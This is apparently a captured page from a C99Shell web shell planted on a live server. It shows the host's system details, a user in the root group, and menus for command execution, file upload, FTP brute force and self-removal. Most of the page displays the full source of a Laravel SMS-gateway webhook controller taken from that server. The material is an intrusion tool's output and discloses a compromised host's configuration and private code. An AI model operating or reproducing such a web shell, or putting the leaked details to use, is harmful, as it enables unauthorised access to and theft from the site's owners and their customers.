!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     InboundController.php (18.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Events\SendMail;
use 
App\Models\Contact;
use 
App\Models\CustomerNumber;
use 
App\Models\Expense;
use 
App\Models\Keyword;
use 
App\Models\KeywordContact;
use 
App\Models\Label;
use 
App\Models\Message;
use 
App\Models\MessageLog;
use 
App\Models\SmsQueue;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Log;
use 
Plivo\RestClient;
use 
Plivo\XML\Response;
use 
SignalWire\LaML\MessageResponse as LaML;
use 
SignalWire\Rest\Client;
use 
Textlocal;
use 
Twilio\TwiML\MessagingResponse;
use 
Vonage\Client\Credentials\Basic;

class 
InboundController extends Controller
{
    public function 
save_message_log($data,$user){

      return  
$user->message_logs()->create($data);

    }
    public function 
process($typeRequest $request)
    {
        if (
$type == 'signalwire') {
            if (!
$request->has('MessageSid')) {
                return 
"error";
            }
            
$MessageSid $request->MessageSid;
            
$SmsSid $request->SmsSid;
            
$AccountSid $request->AccountSid;
            
$From $request->From;
            
$To $request->To;
            
$Body $request->Body;


            
$customer_number CustomerNumber::where('number'$To)
                ->
orWhere('number'str_replace('+'''$To))
                ->
orWhere('number''+'.str_replace('+'''$To))
                ->
first();
            if (!
$customer_number) {
                
$resp = new LaML();
                echo 
$resp;
                exit();
            }
            
$this->checkKeyword($From$Body$customer_number);

            if (
$customer_number->forward_to) {
                
$this->sendForwardMessage($type$customer_number->number$customer_number->forward_to_dial_code $customer_number->forward_to$Body);
            }
            if(
$customer_number->webhook_url){
                
$this->trigger_webhook($customer_number,$request->all());
            }
            
$resp = new LaML();
            
$customer $customer_number->customer;

            
$message = new Message();
            
$message->customer_id $customer->id;
            
$message->body $Body;
            
$message->numbers json_encode(['from' => $From'to' => [$To]]);
            
$message->type 'inbox';
            
$message->message_obj json_encode($request->except(['From''To''Body']));
            
$message->save();
            
$this->save_message_log(['to'=>$To,'from'=>$From,'body'=> $Body,'message_id'=>$message->id,'type'=>'inbox'],$customer);
            echo 
$resp;

        } else if (
$type == 'twilio') {
            
$MessageSid $request->MessageSid;
            
$SmsSid $request->SmsSid;
            
$AccountSid $request->AccountSid;
            
$From $request->From;
            
$To $request->To;
            
$Body $request->Body;

            
$customer_number CustomerNumber::where('number'$To)
                ->
orWhere('number'str_replace('+'''$To))
                ->
orWhere('number''+'.str_replace('+'''$To))
                ->
first();
            if (!
$customer_number) {
                
Log::error("invalid number");
                
$response = new MessagingResponse();
                echo 
$response;
                exit();
            }
            
$this->checkKeyword($From$Body$customer_number);

            
$response = new MessagingResponse();

            if (
$customer_number->forward_to) {
                
$response=$this->sendForwardMessage($type$From$customer_number->forward_to_dial_code $customer_number->forward_to$Body);
            }
            if(
$customer_number->webhook_url){
                
$this->trigger_webhook($customer_number,$request->all());
            }
            
$customer $customer_number->customer;

            
$message = new Message();
            
$message->customer_id $customer->id;
            
$message->body $Body;
            
$message->numbers json_encode(['from' => $From'to' => [$To]]);
            
$message->type 'inbox';
            
$message->message_obj json_encode($request->only(['MessageSid''SmsSid''AccountSid']));
            
$message->save();
            
$this->save_message_log(['to'=>$To,'from'=>$From,'body'=> $Body,'message_id'=>$message->id,'type'=>'inbox'],$customer);
            echo 
$response;

        } else if (
$type == 'nexmo') {
            
$inbound \Vonage\SMS\Webhook\Factory::createFromGlobals();

            
$requestData['vonage_message_id']=$MessageSid $inbound->getMessageId();
            
$requestData['from']=$From $inbound->getFrom();
            
$requestData['to']=$To $inbound->getTo();
            
$requestData['body']=$Body $inbound->getText();

            
$customer_number CustomerNumber::where('number'$To)
                ->
orWhere('number'str_replace('+'''$To))
                ->
orWhere('number','+'str_replace('+'''$To))
                ->
first();
            if (!
$customer_number) {
                
Log::error('Number not found for ' $To);
                exit();
            }
            
$this->checkKeyword($From$Body$customer_number);

            if (
$customer_number->forward_to) {
                
$this->sendForwardMessage($type$customer_number->number$customer_number->forward_to_dial_code $customer_number->forward_to$Body);
            }
            if(
$customer_number->webhook_url){
                
$this->trigger_webhook($customer_number,$requestData);
            }
            
$customer $customer_number->customer;
            
$message = new Message();
            
$message->customer_id $customer->id;
            
$message->body $Body;
            
$message->numbers json_encode(['from' => $From'to' => [$To]]);
            
$message->type 'inbox';
            
$message->message_obj json_encode(['message_id' => $MessageSid]);
            
$message->save();
            
$this->save_message_log(['to'=>$To,'from'=>$From,'body'=> $Body,'message_id'=>$message->id,'type'=>'inbox'],$customer);

        } else if (
$type == 'telnyx') {
            
$json json_decode(file_get_contents("php://input"), true);

            
$From $json["data"]["payload"]["from"]["phone_number"];
            
$To $json["data"]["payload"]["to"][0]["phone_number"];
            
$Body $json["data"]["payload"]["text"];
            
$event_type $json['data']['event_type'];

            if(isset(
$event_type) && $event_type != "message.received"){
                exit();
            }

            
$customer_number CustomerNumber::where('number'$To)
                ->
orWhere('number'str_replace('+'''$To))
                ->
orWhere('number''+'.str_replace('+'''$To))
                ->
first();
            if (!
$customer_number) {
                
$resp = new LaML();
                echo 
$resp;
                exit();
            }

           
$this->checkKeyword($From$Body$customer_number);

            if (
$customer_number->forward_to) {
                
$this->sendForwardMessage($type$customer_number->number$customer_number->forward_to_dial_code $customer_number->forward_to$Body);
            }
            if(
$customer_number->webhook_url){
                
$this->trigger_webhook($customer_number,$json);
            }

            
$resp = new LaML();
            
$customer $customer_number->customer;

            
$message = new Message();
            
$message->customer_id $customer->id;
            
$message->body $Body;
            
$message->numbers json_encode(['from' => $From'to' => [$To]]);
            
$message->type 'inbox';
            
$message->message_obj json_encode([]);
            
$message->save();
           
$messageLog =  $this->save_message_log(['to'=>$To,'from'=>$From,'body'=> $Body,'message_id'=>$message->id,'type'=>'inbox'],$customer);

            if (isset(
$json["data"]["cost"])){
                
$expense= new Expense();
                
$expense->type='receive';
                
$expense->cost=$json["data"]["cost"]['amount'];
                
$expense->message_log_id=$messageLog->id;
                
$expense->customer_id=$message->customer_id;
                
$expense->save();
            }
            echo 
$resp;

        } else if (
$type == 'plivo') {

            
$requestData['from']=$From $_REQUEST["From"];
            
$requestData['to']=$To $_REQUEST["To"];
            
$requestData['body']=$Body $_REQUEST["Text"];
            
$customer_number CustomerNumber::where('number'$To)
                ->
orWhere('number'str_replace('+'''$To))
                ->
orWhere('number''+'.str_replace('+'''$To))
                ->
first();
            if (!
$customer_number) {
                
Log::info("not found in customer number");
                
$resp = new Response();
                echo 
$resp->toXML();
                exit();
            }
            
$this->checkKeyword($From$Body$customer_number);

            if (
$customer_number->forward_to) {
                
$this->sendForwardMessage($type$customer_number->number$customer_number->forward_to_dial_code $customer_number->forward_to$Body);
            }
            if(
$customer_number->webhook_url){
                
$this->trigger_webhook($customer_number,$requestData);
            }

            
$resp = new Response();
            
$customer $customer_number->customer;

            
$message = new Message();
            
$message->customer_id $customer->id;
            
$message->body $Body;
            
$message->numbers json_encode(['from' => $From'to' => [$To]]);
            
$message->type 'inbox';
            
$message->message_obj json_encode([]);
            
$message->save();
            
$this->save_message_log(['to'=>$To,'from'=>$From,'body'=> $Body,'message_id'=>$message->id,'type'=>'inbox'],$customer);
            echo 
$resp->toXML();
        }

        if (isset(
$customer) && $customer->email) {
            
$notification $customer->settings()->where('name','email_notification')->first();
            if (isset(
$notification->value) && $notification->value == 'true' && $Body) {
                
SendMail::dispatch($customer->email'New Message'$Body);
            }
        }

    }

    function 
sendForwardMessage($type$from$to$message)
    {
        try {

            if (
$type == 'signalwire') {
                
$credentials json_decode(get_settings('signalwire'));
                if (!
$credentials->sw_project_id || !$credentials->sw_token || !$credentials->sw_space_url)
                    exit();

                try {
                    
$client = new Client($credentials->sw_project_id$credentials->sw_token, array("signalwireSpaceUrl" => $credentials->sw_space_url));
                    
$message $client->messages
                        
->create($to,
                            array(
"from" => $from"body" => $message)
                        );
                } catch (
\Exception $e) {

                }

            } elseif (
$type == 'twilio') {

                
$client=new MessagingResponse();
                
$client->message($from": " $message,['to'=>$to]);
                return 
$client;

            } elseif (
$type == 'nexmo') {
                
$credentials json_decode(get_settings('nexmo'));
                if (!
$credentials->nx_api_key || !$credentials->nx_api_secret)
                    exit();

                
$api_key $credentials->nx_api_key;
                
$api_secret $credentials->nx_api_secret;
                
$client = new \Vonage\Client(new Basic($api_key$api_secret));
                
$message $client->message()->send([
                    
'to' => $to,
                    
'from' => $from,
                    
'text' => $message
                
]);
            } elseif (
$type == 'telnyx') {
                
$credentials json_decode(get_settings('telnyx'));
                if (!
$credentials->tl_api_key)
                    exit();

                
\Telnyx\Telnyx::setApiKey($credentials->tl_api_key);
                try {
                    
\Telnyx\Message::Create(['from' => $from'to' => $to'text' => $message]);
                } catch (
\Exception $ex) {

                }
            } elseif (
$type == 'plivo') {
                
$credentials json_decode(get_settings('plivo'));
                if (!
$credentials->pl_auth_id || !$credentials->pl_auth_token)
                    exit();

                
$client = new RestClient($credentials->pl_auth_id$credentials->pl_auth_token);
                
$message_created $client->messages->create(
                    
$from,
                    [
$to],
                    
$message
                
);
            } elseif (
$type == 'textlocal') {
                
$credentials json_decode(get_settings('textlocal'));
                if (!
$credentials->text_local_api_key || !$credentials->text_local_sender)
                    exit();

                
$textlocal = new Textlocal(falsefalse$credentials->text_local_api_key);

                
$numbers $to;
                
$sender $credentials->text_local_sender;
                
$message $message;

                
$response $textlocal->sendSms($numbers$message$sender);

            }
        } catch (
\Exception $ex) {
            
Log::error("forward message error");
        }
    }

    public function 
gatewayStatus(Request $request)
    {

        
$sms_gateway_data = [
            
'message_sent_date' => $request->sent_date,
            
'part_number' => $request->part_number,
            
'message_cost' => $request->message_cost,
            
'message_status' => $request->message_status,
            
'dlr_date' => $request->dlr_date,
        ];
        try {
            if (
$request->message_id && $request->status) {
                
$queue SmsQueue::where('sms_gateway_message_id'$request->message_id)->first();
                
$queue->sms_gateway_status $request->status;
                
$queue->sms_gateway_value json_encode($sms_gateway_data);
                
$queue->save();
            }
        } catch (
\Exception $ex) {
            
Log::error($ex->getMessage());
        }
        return 
response()->json([], 200);

    }

    function 
trigger_webhook($customer_number,$webhookData){
        if (isset(
$customer_number) && isset($customer_number->webhook_url) && isset($customer_number->webhook_method) && $customer_number->webhook_method=='post') {
            
$client=new \GuzzleHttp\Client(['verify' => false ]);
            
$client->post($customer_number->webhook_url,[
                
'form_params'=>$webhookData
            
]);

        }else if(isset(
$customer_number) && isset($customer_number->webhook_url) && isset($customer_number->webhook_method) && $customer_number->webhook_method=='get'){
            
$client=new \GuzzleHttp\Client(['verify' => false ]);
            
$client->get($customer_number->webhook_url,[
                
'query'=>$webhookData
            
]);
        }
    }

    public function 
webhookDeliver(Request $request){

        try {
            
$json json_decode(file_get_contents("php://input"), true);

            if (isset(
$json["data"]) && isset($json["data"]["id"])) {
                
$responseCode = isset($json["data"]["errors"]) && isset($json["data"]["errors"][0]) && isset($json["data"]["errors"][0]["code"]) ? $json["data"]["errors"][0]["code"] : null;
                
$messageQueue SmsQueue::where('response_id'$json["data"]["id"])->firstOrFail();
                
$messageLog MessageLog::where('response_id'$json["data"]["id"])->firstOrFail();
                if (
$responseCode) {
                    
$messageQueue->response_code $responseCode;
                    
$messageLog->update(['response_code'=>$responseCode]);
                } else {
                    
$messageQueue->delivered_at now();
                }
                
$messageQueue->save();

                if (isset(
$json["data"]["errors"])){
                    
$messageLog->update(['status'=>'failed']);
                    
$messageQueue->update(['status'=>'failed']);
                }
            }
            return 
response()->json(['status'=>'success']);
        }catch (
\Exception $ex) {
            
Log::info($ex->getMessage());
            return 
response()->json(['status'=>'failed']);
        }
    }

    function 
checkKeyword($from$body$customer_number)
    {
        
$keyword_contact null;

        
$contact Contact::where('number'$from)
            ->
orWhere('number'str_replace('+'''$from))
            ->
orWhere('number''+' str_replace('+'''$from))
            ->
first();
        
$label Label::where('customer_id'$customer_number->customer_id)->where('title''new')->first();
        if (!
$label) {
            
$label = new Label();
            
$label->title 'new';
            
$label->status 'active';
            
$label->customer_id $customer_number->customer_id;
            
$label->color 'red';
            
$label->save();
        }
        if (!
$contact) {
            
$contact = new Contact();
            
$contact->customer_id $customer_number->customer_id;
            
$contact->number $from;
            
$contact->label_id $label->id;
            
$contact->save();
        }
        
$keyword null;

        if (
$customer_number) {
            
$keyword Keyword::where(DB::raw('lower(word)'), 'like''%' strtolower($body) . '%')->where('customer_number_id'$customer_number->number_id)->first();
        }
        if (
$keyword && $contact && $customer_number) {
            
$keyword_contact KeywordContact::where('keyword_id'$keyword->id)->where('contact_id'$contact->id)->where('customer_id'$customer_number->customer_id)->first();
        }


        if (
$keyword && isset($keyword->type) && $keyword->type == 'opt_out') {
            
$keyword_contact KeywordContact::where('contact_id'$contact->id)->where('customer_id'$customer_number->customer_id)->first();
            if (
$keyword_contact) {
                
$keyword_contact->delete();
                
$contact->delete();
            }
            exit;
        } else if (
$keyword && isset($keyword->type) && $keyword->type == 'opt_in') {
            
$keywordContact = new KeywordContact();
            
$keywordContact->customer_id $keyword->customer_id;
            
$keywordContact->keyword_id $keyword->id;
            
$keywordContact->contact_id $contact->id;
            
$keywordContact->save();
            exit();
        }
        if (
$keyword_contact) {
            
Log::info($contact->number " and " $keyword->word " already subscribe");
            exit;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0063 ]--